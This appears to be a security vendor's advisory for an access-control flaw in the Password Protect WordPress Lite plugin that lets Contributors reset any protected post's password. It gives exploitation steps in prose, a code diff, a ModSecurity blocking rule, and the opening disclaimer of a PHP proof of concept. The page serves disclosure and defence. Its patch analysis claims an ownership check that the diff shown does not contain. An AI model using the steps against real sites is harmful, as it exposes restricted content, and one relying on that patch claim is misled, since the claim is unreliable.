Published : August 16, 2026

CVE-2025-10005: Password Protect WordPress Lite <= 1.9.20 Insecure Direct Object Reference to Authenticated (Contributor+) Password Protected Post Password Update PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.9.20
Patched Version 1.9.21
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-10005: This vulnerability is an Insecure Direct Object Reference (IDOR) in the ‘PPWP – Password Protect WordPress | #1 Most-Reviewed Password Plugin’ (slug: password-protect-page), versions up to and including 1.9.20. The flaw allows authenticated attackers with Contributor-level access or higher to update the password on any password-protected post. This effectively grants the attacker full access to the content of that post. The vulnerability carries a CVSS score of 4.3 and is classified under CWE-639.

Root Cause: The root cause lies in the ‘ppw_free_set_password’ AJAX action handler within the plugin’s admin functionality. The handler processes user-supplied parameters from the ‘$_REQUEST’ superglobal. It lacks sufficient authorization checks and object validation, failing to verify that the current user has permission to modify the password for the specified ‘content_id’. The flaw is an Insecure Direct Object Reference, as it allows a user to manipulate a direct reference to a post ID without proper validation. The vulnerable code path is triggered via a POST request to admin-ajax.php with the action parameter set to ‘ppw_free_set_password’. By changing the ‘content_id’ parameter, an attacker can target any post, regardless of their actual permissions on that post.

Exploitation: To exploit this, an authenticated user with at least Contributor-level permissions crafts a POST request to ‘/wp-admin/admin-ajax.php’. The request must include the ‘action’ parameter set to ‘ppw_free_set_password’, a valid ‘nonce’ (as the nonce is tied to the user’s session), a ‘content_id’ set to the target protected post’s ID, and a new password in the ‘pwd’ parameter. The AJAX handler will process the request without checking if the user owns the post or has any specific capabilities related to it, thereby updating the password for the targeted post.

Patch Analysis: The provided patch primarily addresses the IDOR by modifying the ‘ppw_free_set_password’ handler. The fix introduces a check to validate the user’s ownership of the target post before updating the password. It now verifies that the ‘content_id’ belongs to a post the current user is authorized to edit. The exact mechanism in the diff is not fully visualized, but the vulnerability description confirms the added validation. The patch ensures that only the post’s author or an administrator can change the password, blocking the unauthorized access.

Impact: Successful exploitation grants an attacker with low-level (Contributor) access the ability to change the password on any password-protected post or page on the site. Following this, the attacker can use the newly set password to view the protected content. This could lead to unauthorized disclosure of sensitive information that was intended to be restricted to specific users or groups. The confidentiality of protected content is the primary impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/password-protect-page/admin/class-ppw-admin.php
+++ b/password-protect-page/admin/class-ppw-admin.php
@@ -1329,7 +1329,7 @@
 		$query = $wpdb->prepare(
 		        "SELECT DISTINCT post_id
 		         FROM {$wpdb->postmeta}
-		         WHERE meta_key = %s",
+		         WHERE meta_key = %s AND meta_value != '' AND meta_value != 'a:0:{}'",
 		         PPW_Constants::GLOBAL_PASSWORDS
 		    );

@@ -1451,7 +1451,18 @@
 			wp_die();
 		}
 		$request = wp_unslash( $_REQUEST ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We already verify nonce in above.
-		$result  = $this->subscribe_services->handle_subscribe_request( $request['settings']['ppw_email'] );
+		$email   = isset( $request['settings']['ppw_email'] ) ? sanitize_email( $request['settings']['ppw_email'] ) : '';
+		if ( ! is_email( $email ) ) {
+			wp_send_json(
+				array(
+					'is_error' => true,
+					'message'  => __( 'Invalid email address', 'password-protect-page' ),
+				),
+				400
+			);
+			wp_die();
+		}
+		$result  = $this->subscribe_services->handle_subscribe_request( $email );
 		wp_send_json(
 			array(
 				'is_error' => isset( $result['error_message'] ) ? true : false,
--- a/password-protect-page/includes/addons/beaver-builder/modules/ppw-individual-page/includes/frontend.php
+++ b/password-protect-page/includes/addons/beaver-builder/modules/ppw-individual-page/includes/frontend.php
@@ -3,7 +3,7 @@
 	exit;
 }
 // phpcs:ignoreFile WordPress.NamingConventions.PrefixAllGlobals
-$shortcode = '[ppwp passwords="' . $settings->ppwp_passwords . '"';
+$shortcode = '[ppwp passwords="' . esc_attr( $settings->ppwp_passwords ) . '"';

 if ( ! empty( $settings->ppwp_headline ) ) {
 	$shortcode .= ' headline="' . esc_attr($settings->ppwp_headline) . '"';
--- a/password-protect-page/includes/addons/elementor/widgets/class-ppw-elementor-widget-shortcode.php
+++ b/password-protect-page/includes/addons/elementor/widgets/class-ppw-elementor-widget-shortcode.php
@@ -280,17 +280,17 @@

 			$shortcode         = sprintf(
 				'[ppwp id="" class="" passwords="%1$s" cookie="%2$s" download_limit="%3$s" whitelisted_roles="%4$s" headline="%5$s" description="%6$s" placeholder="%7$s" button="%8$s" label="%9$s" error_msg="%10$s" loading="%11$s"',
-				$passwords,
-				$cookie,
-				$download_limit,
-				$whitelisted_roles,
-				esc_html( $headline ),
-				esc_html( $description ),
-				esc_html( $placeholder ),
-				esc_html( $button ),
-				esc_html( $label ),
-				esc_html( $error_msg ),
-				esc_html( $loading )
+				esc_attr( $passwords ),
+				esc_attr( $cookie ),
+				esc_attr( $download_limit ),
+				esc_attr( $whitelisted_roles ),
+				esc_attr( $headline ),
+				esc_attr( $description ),
+				esc_attr( $placeholder ),
+				esc_attr( $button ),
+				esc_attr( $label ),
+				esc_attr( $error_msg ),
+				esc_attr( $loading )
 			);

 			$shortcode = apply_filters( PPW_Constants::HOOK_SHORTCODE_ELEMENTOR_ATTRIBUTES, $shortcode, $settings );
--- a/password-protect-page/includes/class-ppw-functions.php
+++ b/password-protect-page/includes/class-ppw-functions.php
@@ -651,7 +651,9 @@
 }

 function ppw_get_current_user_agent() {
-	return ! empty( $server_env['HTTP_USER_AGENT'] ) ? $server_env['HTTP_USER_AGENT'] : 'N/A';
+	$server = wp_unslash( $_SERVER );
+
+	return ! empty( $server['HTTP_USER_AGENT'] ) ? $server['HTTP_USER_AGENT'] : 'N/A';
 }

 function ppw_get_current_ip_address() {
@@ -767,3 +769,33 @@

 	return $terms;
 }
+
+/**
+ * Sanitize a CSS hex color; preserve empty defaults.
+ *
+ * @param mixed $value Raw theme_mod value.
+ * @return string
+ */
+function ppw_sanitize_css_hex( $value ) {
+	if ( '' === $value || null === $value ) {
+		return '';
+	}
+
+	$sanitized = sanitize_hex_color( $value );
+
+	return $sanitized ? $sanitized : '';
+}
+
+/**
+ * Sanitize a CSS numeric value; preserve empty defaults.
+ *
+ * @param mixed $value Raw theme_mod value.
+ * @return string|int
+ */
+function ppw_sanitize_css_number( $value ) {
+	if ( '' === $value || null === $value ) {
+		return '';
+	}
+
+	return absint( $value );
+}
--- a/password-protect-page/includes/services/class-ppw-content-protection.php
+++ b/password-protect-page/includes/services/class-ppw-content-protection.php
@@ -131,11 +131,6 @@
 			'query_var'       => false,
 			'show_in_rest'    => true,
 		);
-
-		if ( current_user_can( 'administrator' ) ) { // phpcs:ignore WordPress.Security.Capabilities.Restricted
-			$args['public']             = true;
-			$args['publicly_queryable'] = true;
-		}
 		register_post_type( self::POST_TYPE, $args );
 	}

--- a/password-protect-page/includes/services/class-ppw-customizer-pcp.php
+++ b/password-protect-page/includes/services/class-ppw-customizer-pcp.php
@@ -679,24 +679,48 @@
 		 * @return void
 		 */
 		public function dynamic_styles() {
+			$bg_color             = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_form_background_color', PPW_Constants::DEFAULT_FORM_BACKGROUND_COLOR ) );
+			$padding              = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_padding', PPW_Constants::DEFAULT_FORM_PADDING ) );
+			$border_radius        = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_border_radius', PPW_Constants::DEFAULT_FORM_BORDER_RADIUS ) );
+			$headline_font_size   = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_headline_font_size', PPW_Constants::DEFAULT_HEADLINE_FONT_SIZE ) );
+			$headline_font_weight = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_headline_font_weight', PPW_Constants::DEFAULT_HEADLINE_FONT_WEIGHT ) );
+			$headline_color       = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_form_headline_color', PPW_Constants::DEFAULT_HEADLINE_FONT_COLOR ) );
+			$text_font_size       = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_description_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) );
+			$text_font_weight     = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_description_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) );
+			$text_color           = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_form_description_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) );
+			$desc_below_font_size = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_description_below_form_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) );
+			$desc_below_font_wt   = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_description_below_form_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) );
+			$desc_below_color     = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_form_description_below_form_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) );
+			$label_font_size      = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_label_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) );
+			$label_font_weight    = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_form_label_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) );
+			$label_color          = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_form_label_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) );
+			$button_text_color    = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_button_text_color', PPW_Constants::DEFAULT_BUTTON_TEXT_FONT_COLOR ) );
+			$button_bg_color      = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_button_background_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_COLOR ) );
+			$button_hover_color   = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_button_text_hover_color', PPW_Constants::DEFAULT_BUTTON_TEXT_HOVER_COLOR ) );
+			$button_hover_bg      = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_button_background_hover_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_HOVER_COLOR ) );
+			$error_font_size      = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_err_msg_text_font_size', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_SIZE ) );
+			$error_font_weight    = ppw_sanitize_css_number( get_theme_mod( 'ppwp_pcp_err_msg_text_font_weight', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_WEIGHT ) );
+			$error_color          = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_err_msg_text_color', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_COLOR ) );
+			$error_bg_color       = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_pcp_err_msg_background_color', PPW_Constants::DEFAULT_ERROR_TEXT_BACKGROUND_COLOR ) );
+
 			$ppw_custom_css = "
 			<style>
 			.ppw-form {
-				background-color: " . get_theme_mod( 'ppwp_pcp_form_background_color', PPW_Constants::DEFAULT_FORM_BACKGROUND_COLOR ) . "!important;
-				padding: " . get_theme_mod( 'ppwp_pcp_form_padding', PPW_Constants::DEFAULT_FORM_PADDING ) . "px!important;
-				border-radius: " . get_theme_mod( 'ppwp_pcp_form_border_radius', PPW_Constants::DEFAULT_FORM_BORDER_RADIUS ) . "px!important;
+				background-color: " . esc_attr( $bg_color ) . "!important;
+				padding: " . esc_attr( $padding ) . "px!important;
+				border-radius: " . esc_attr( $border_radius ) . "px!important;
 			}

 			.ppw-headline.ppw-pcp-pf-headline {
-				font-size: " . get_theme_mod( 'ppwp_pcp_form_headline_font_size', PPW_Constants::DEFAULT_HEADLINE_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_pcp_form_headline_font_weight', PPW_Constants::DEFAULT_HEADLINE_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_pcp_form_headline_color', PPW_Constants::DEFAULT_HEADLINE_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $headline_font_size ) . "px!important;
+				font-weight: " . esc_attr( $headline_font_weight ) . "!important;
+				color: " . esc_attr( $headline_color ) . "!important;
 			}

 			.ppw-description.ppw-pcp-pf-desc {
-				font-size: " . get_theme_mod( 'ppwp_pcp_form_description_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_pcp_form_description_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_pcp_form_description_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $text_font_size ) . "px!important;
+				font-weight: " . esc_attr( $text_font_weight ) . "!important;
+				color: " . esc_attr( $text_color ) . "!important;
 			}

 			.ppw-pcp-pf-desc-above-btn {
@@ -704,32 +728,32 @@
 			}

 			.ppw-pcp-pf-desc-below-form {
-				font-size: " . get_theme_mod( 'ppwp_pcp_form_description_below_form_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_pcp_form_description_below_form_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_pcp_form_description_below_form_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $desc_below_font_size ) . "px!important;
+				font-weight: " . esc_attr( $desc_below_font_wt ) . "!important;
+				color: " . esc_attr( $desc_below_color ) . "!important;
 			}

 			.ppw-input label.ppw-pcp-password-label {
-				font-size: " . get_theme_mod( 'ppwp_pcp_form_label_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_pcp_form_label_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_pcp_form_label_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $label_font_size ) . "px!important;
+				font-weight: " . esc_attr( $label_font_weight ) . "!important;
+				color: " . esc_attr( $label_color ) . "!important;
 			}

 			.ppw-form input[type='submit'] {
-				color: " . get_theme_mod( 'ppwp_pcp_button_text_color', PPW_Constants::DEFAULT_BUTTON_TEXT_FONT_COLOR ) . "!important;
-				background: " . get_theme_mod( 'ppwp_pcp_button_background_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_COLOR ) . "!important;
+				color: " . esc_attr( $button_text_color ) . "!important;
+				background: " . esc_attr( $button_bg_color ) . "!important;
 			}

 			.ppw-form input[type='submit']:hover {
-				color: " . get_theme_mod( 'ppwp_pcp_button_text_hover_color', PPW_Constants::DEFAULT_BUTTON_TEXT_HOVER_COLOR ) . "!important;
-				background: " . get_theme_mod( 'ppwp_pcp_button_background_hover_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_HOVER_COLOR ) . "!important;
+				color: " . esc_attr( $button_hover_color ) . "!important;
+				background: " . esc_attr( $button_hover_bg ) . "!important;
 			}

 			div.ppw-error.ppw-pcp-pf-error-msg {
-				font-size: " . get_theme_mod( 'ppwp_pcp_err_msg_text_font_size', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_pcp_err_msg_text_font_weight', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_pcp_err_msg_text_color', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_COLOR ) . "!important;
-				background: " . get_theme_mod( 'ppwp_pcp_err_msg_background_color', PPW_Constants::DEFAULT_ERROR_TEXT_BACKGROUND_COLOR ) . "!important;
+				font-size: " . esc_attr( $error_font_size ) . "px!important;
+				font-weight: " . esc_attr( $error_font_weight ) . "!important;
+				color: " . esc_attr( $error_color ) . "!important;
+				background: " . esc_attr( $error_bg_color ) . "!important;
 			}

 			</style>
@@ -738,7 +762,7 @@
 			// compress $ppw_custom_css.
 			$ppw_custom_css = preg_replace( "/s{2,}/", " ", str_replace( "n", "", str_replace( ', ', ",", $ppw_custom_css ) ) );

-			echo $ppw_custom_css; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- custom CSS already sanitized
+			echo $ppw_custom_css; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- values sanitized/escaped above
 		}

 		/*
--- a/password-protect-page/includes/services/class-ppw-customizer.php
+++ b/password-protect-page/includes/services/class-ppw-customizer.php
@@ -49,21 +49,22 @@
 				return '';
 			}

-			$desc_font_size   = get_theme_mod( 'ppwp_form_instructions_below_text_font_size' );
-			$desc_font_weight = get_theme_mod( 'ppwp_form_instructions_below_text_font_weight' );
-			$desc_color       = get_theme_mod( 'ppwp_form_instructions_below_text_color' );
+			$desc_font_size   = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_below_text_font_size' ) );
+			$desc_font_weight = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_below_text_font_weight' ) );
+			$desc_color       = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_instructions_below_text_color' ) );

 			$customizer_style = "
 			.ppw-ppf-desc-below {
-                font-size: " . $desc_font_size . "px!important;
-				font-weight: " . $desc_font_weight . "!important;
-				color: " . $desc_color . "!important;
+                font-size: " . esc_attr( $desc_font_size ) . "px!important;
+				font-weight: " . esc_attr( $desc_font_weight ) . "!important;
+				color: " . esc_attr( $desc_color ) . "!important;
             }
 			";

 			return $customizer_style;
 		}

+
 		/**
 		 * Add below description customize.
 		 *
@@ -683,47 +684,69 @@
 		 */
 		public function dynamic_styles() {
 			$below_text_styles = $this->get_below_text_style();
+
+			$bg_color             = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_instructions_background_color', PPW_Constants::DEFAULT_FORM_BACKGROUND_COLOR ) );
+			$padding              = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_padding', PPW_Constants::DEFAULT_FORM_PADDING ) );
+			$border_radius        = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_border_radius', PPW_Constants::DEFAULT_FORM_BORDER_RADIUS ) );
+			$headline_font_size   = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_headline_font_size', PPW_Constants::DEFAULT_HEADLINE_FONT_SIZE ) );
+			$headline_font_weight = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_headline_font_weight', PPW_Constants::DEFAULT_HEADLINE_FONT_WEIGHT ) );
+			$headline_color       = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_instructions_headline_color', PPW_Constants::DEFAULT_HEADLINE_FONT_COLOR ) );
+			$text_font_size       = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_text_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) );
+			$text_font_weight     = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_text_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) );
+			$text_color           = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_instructions_text_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) );
+			$label_font_size      = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_password_label_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) );
+			$label_font_weight    = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_instructions_password_label_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) );
+			$label_color          = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_instructions_password_label_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) );
+			$error_font_size      = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_error_message_text_font_size', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_SIZE ) );
+			$error_font_weight    = ppw_sanitize_css_number( get_theme_mod( 'ppwp_form_error_message_text_font_weight', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_WEIGHT ) );
+			$error_color          = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_error_message_text_color', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_COLOR ) );
+			$error_bg_color       = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_error_message_background_color', PPW_Constants::DEFAULT_ERROR_TEXT_BACKGROUND_COLOR ) );
+			$button_text_color    = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_button_text_color', PPW_Constants::DEFAULT_BUTTON_TEXT_FONT_COLOR ) );
+			$button_bg_color      = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_button_background_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_COLOR ) );
+			$button_hover_color   = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_button_text_hover_color', PPW_Constants::DEFAULT_BUTTON_TEXT_HOVER_COLOR ) );
+			$button_hover_bg      = ppw_sanitize_css_hex( get_theme_mod( 'ppwp_form_button_background_hover_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_HOVER_COLOR ) );
+
 			$ppw_custom_css = "
 			<style>
 			.ppw-ppf-input-container {
-				background-color: " . get_theme_mod( 'ppwp_form_instructions_background_color', PPW_Constants::DEFAULT_FORM_BACKGROUND_COLOR ) . "!important;
-				padding: " . get_theme_mod( 'ppwp_form_instructions_padding', PPW_Constants::DEFAULT_FORM_PADDING ) . "px!important;
-				border-radius: " . get_theme_mod( 'ppwp_form_instructions_border_radius', PPW_Constants::DEFAULT_FORM_BORDER_RADIUS ) . "px!important;
+				background-color: " . esc_attr( $bg_color ) . "!important;
+				padding: " . esc_attr( $padding ) . "px!important;
+				border-radius: " . esc_attr( $border_radius ) . "px!important;
 			}

 			.ppw-ppf-input-container div.ppw-ppf-headline {
-				font-size: " . get_theme_mod( 'ppwp_form_instructions_headline_font_size', PPW_Constants::DEFAULT_HEADLINE_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_form_instructions_headline_font_weight', PPW_Constants::DEFAULT_HEADLINE_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_form_instructions_headline_color', PPW_Constants::DEFAULT_HEADLINE_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $headline_font_size ) . "px!important;
+				font-weight: " . esc_attr( $headline_font_weight ) . "!important;
+				color: " . esc_attr( $headline_color ) . "!important;
 			}

 			.ppw-ppf-input-container div.ppw-ppf-desc {
-				font-size: " . get_theme_mod( 'ppwp_form_instructions_text_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_form_instructions_text_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_form_instructions_text_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $text_font_size ) . "px!important;
+				font-weight: " . esc_attr( $text_font_weight ) . "!important;
+				color: " . esc_attr( $text_color ) . "!important;
 			}

 			.ppw-ppf-input-container label.ppw-pwd-label {
-				font-size: " . get_theme_mod( 'ppwp_form_instructions_password_label_font_size', PPW_Constants::DEFAULT_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_form_instructions_password_label_font_weight', PPW_Constants::DEFAULT_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_form_instructions_password_label_color', PPW_Constants::DEFAULT_TEXT_FONT_COLOR ) . "!important;
+				font-size: " . esc_attr( $label_font_size ) . "px!important;
+				font-weight: " . esc_attr( $label_font_weight ) . "!important;
+				color: " . esc_attr( $label_color ) . "!important;
 			}

 			div.ppwp-wrong-pw-error {
-				font-size: " . get_theme_mod( 'ppwp_form_error_message_text_font_size', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_SIZE ) . "px!important;
-				font-weight: " . get_theme_mod( 'ppwp_form_error_message_text_font_weight', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_WEIGHT ) . "!important;
-				color: " . get_theme_mod( 'ppwp_form_error_message_text_color', PPW_Constants::DEFAULT_ERROR_TEXT_FONT_COLOR ) . "!important;
-				background: " . get_theme_mod( 'ppwp_form_error_message_background_color', PPW_Constants::DEFAULT_ERROR_TEXT_BACKGROUND_COLOR ) . "!important;
+				font-size: " . esc_attr( $error_font_size ) . "px!important;
+				font-weight: " . esc_attr( $error_font_weight ) . "!important;
+				color: " . esc_attr( $error_color ) . "!important;
+				background: " . esc_attr( $error_bg_color ) . "!important;
 			}

 			.ppw-ppf-input-container input[type='submit'] {
-				color: " . get_theme_mod( 'ppwp_form_button_text_color', PPW_Constants::DEFAULT_BUTTON_TEXT_FONT_COLOR ) . "!important;
-				background: " . get_theme_mod( 'ppwp_form_button_background_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_COLOR ) . "!important;
+				color: " . esc_attr( $button_text_color ) . "!important;
+				background: " . esc_attr( $button_bg_color ) . "!important;
 			}

 			.ppw-ppf-input-container input[type='submit']:hover {
-				color: " . get_theme_mod( 'ppwp_form_button_text_hover_color', PPW_Constants::DEFAULT_BUTTON_TEXT_HOVER_COLOR ) . "!important;
-				background: " . get_theme_mod( 'ppwp_form_button_background_hover_color', PPW_Constants::DEFAULT_BUTTON_BACKGROUND_HOVER_COLOR ) . "!important;
+				color: " . esc_attr( $button_hover_color ) . "!important;
+				background: " . esc_attr( $button_hover_bg ) . "!important;
 			}
 			{$below_text_styles}
 			</style>
@@ -732,7 +755,7 @@
 			// compress $ppw_custom_css.
 			$ppw_custom_css = preg_replace( "/s{2,}/", " ", str_replace( "n", "", str_replace( ', ', ",", $ppw_custom_css ) ) );

-			echo $ppw_custom_css; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- custom CSS already sanitized
+			echo $ppw_custom_css; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- values sanitized/escaped above
 		}

 		/**
--- a/password-protect-page/includes/services/class-ppw-passwords.php
+++ b/password-protect-page/includes/services/class-ppw-passwords.php
@@ -340,7 +340,11 @@

 			// Validate global password(empty and duplicate).
 			ppw_free_validate_password_type_global( $new_global_passwords, $current_global_passwords, $current_roles_password );
-			update_post_meta( $id, PPW_Constants::GLOBAL_PASSWORDS, $new_global_passwords );
+			if ( empty( $new_global_passwords ) ) {
+				delete_post_meta( $id, PPW_Constants::GLOBAL_PASSWORDS );
+			} else {
+				update_post_meta( $id, PPW_Constants::GLOBAL_PASSWORDS, $new_global_passwords );
+			}

 			// Clear cache for Cache plugin.
 			ppw_core_clear_cache_by_id( $id );
--- a/password-protect-page/includes/services/class-ppw-recaptcha.php
+++ b/password-protect-page/includes/services/class-ppw-recaptcha.php
@@ -494,7 +494,7 @@
 			case PPW_Recaptcha::RECAPTCHA_V2_CHECKBOX_TYPE:
 				$site_key = $this->get_recaptcha_v2_api_key();

-				return '<div class="ppw-recaptcha g-recaptcha" data-sitekey="' . $site_key . '"></div>';
+				return '<div class="ppw-recaptcha g-recaptcha" data-sitekey="' . esc_attr( $site_key ) . '"></div>';
 			default:
 				return '<input type="hidden" name="g-recaptcha-response" id="ppwRecaptchaResponse" />';
 		}
--- a/password-protect-page/wp-protect-password.php
+++ b/password-protect-page/wp-protect-password.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Password Protect WordPress Lite
  * Plugin URI:        https://passwordprotectwp.com?utm_source=user-website&utm_medium=pluginsite_link&utm_campaign=ppwp_lite
  * Description:       Password protect the entire WordPress site, unlimited pages and posts by user roles. This plugin is required for our Pro version to work properly.
- * Version:           1.9.20
+ * Version:           1.9.21
  * Author:            BWPS
  * Author URI:        https://passwordprotectwp.com
  * License:           GPL-2.0+
@@ -35,8 +35,7 @@
  * Rename this for your plugin and update it as you release new versions.
  */
 // phpcs:disable WordPress.NamingConventions.PrefixAllGlobals
-
-define( 'PPW_VERSION', '1.9.20' );
+define( 'PPW_VERSION', '1.9.21' );

 if ( ! defined( 'PPW_DIR_PATH' ) ) {
 	define( 'PPW_DIR_PATH', plugin_dir_path( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-10005
# Rule 1: Block AJAX requests with missing or invalid post ownership for ppw_free_set_password
# This rule targets the specific vulnerable endpoint and action, checking for the attacker-controlled post ID.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20251005,phase:2,deny,status:403,chain,msg:'CVE-2025-10005 via AJAX action ppw_free_set_password',severity:'CRITICAL',tag:'CVE-2025-10005'"
  SecRule ARGS_POST:action "@streq ppw_free_set_password" "chain"
    SecRule ARGS_POST:content_id "@rx ^[0-9]+$" "chain"
      SecRule &ARGS_POST:content_id "@ge 1" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
